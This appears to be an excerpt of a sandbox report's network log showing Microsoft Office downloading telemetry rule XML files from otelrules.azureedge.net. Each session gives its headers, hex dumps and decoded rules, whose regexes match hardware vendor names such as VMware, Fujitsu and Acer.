Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.6	49728	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:07:25 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 16:07:26 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 16:07:26 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: a5c30855-701e-0050-65a2-346767000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T160726Z-15869dbbcc6vr5dxhC1DFWyw4g00000001zg000000008261 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-12 16:07:26 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.6	49730	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:07:26 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 16:07:26 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 16:07:26 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: 99102dbc-c01e-0066-43c1-2ca1ec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T160726Z-16547b76f7f7rtshhC1DFWrtqn0000000fvg00000000hm94 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 16:07:26 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.6	49731	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:07:26 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 16:07:26 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 16:07:26 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: 87935f62-301e-0033-36a7-34fa9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T160726Z-17df447cdb54qlp6hC1DFW67e800000001y000000000ehbn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 16:07:26 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.6	49732	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:07:26 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 16:07:26 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 16:07:26 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: c860b0c2-d01e-007a-2fa3-34f38c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T160726Z-17df447cdb5zfhrmhC1DFWh3300000000c90000000002v8p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-12 16:07:26 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.6	49733	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:07:26 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 16:07:27 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 16:07:26 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: 94736ed5-d01e-0082-79a1-34e489000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T160726Z-15869dbbcc6lq2lzhC1DFWs1sn00000001w000000000mxkg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 16:07:27 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.6	49734	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:07:27 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 16:07:27 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 16:07:27 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: 7f7db364-701e-005c-2f05-2dbb94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T160727Z-16547b76f7f4k79zhC1DFWu9y00000000ftg00000000rttb x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 16:07:27 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.6	49735	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:07:27 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 16:07:27 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 16:07:27 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: 412bc4a2-301e-0020-47a2-346299000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T160727Z-17df447cdb542kkvhC1DFW3d44000000011g00000000745n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 16:07:27 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.6	49736	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:07:27 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 16:07:27 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 16:07:27 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: 7dbe6cd5-601e-00ab-1ca2-3466f4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T160727Z-17df447cdb5zfhrmhC1DFWh3300000000c60000000008p94 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-12 16:07:27 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.6	49729	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:07:28 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 16:07:28 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 16:07:28 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: 2d6c1d79-401e-0067-58a0-3409c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T160728Z-15869dbbcc6sg5zbhC1DFWy5u800000007v0000000008ubt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 16:07:28 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.6	49737	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:07:28 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 16:07:28 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 16:07:28 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: 75035ba1-b01e-005c-42fb-2c4c66000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T160728Z-16547b76f7fr4g8xhC1DFW9cqc0000000ez000000000mn5g x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 16:07:28 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.6	49738	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:07:28 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 16:07:28 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 16:07:28 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: 06b7c879-901e-00a0-36a3-346a6d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T160728Z-17df447cdb5wrr5fhC1DFWte8n0000000cp000000000b8mv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 16:07:28 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.6	49739	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:07:28 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 16:07:28 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 16:07:28 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: 9f11ee7d-201e-0096-73f2-2cace6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T160728Z-16547b76f7f8dwtrhC1DFWd1zn0000000fyg00000000eymp x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 16:07:28 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 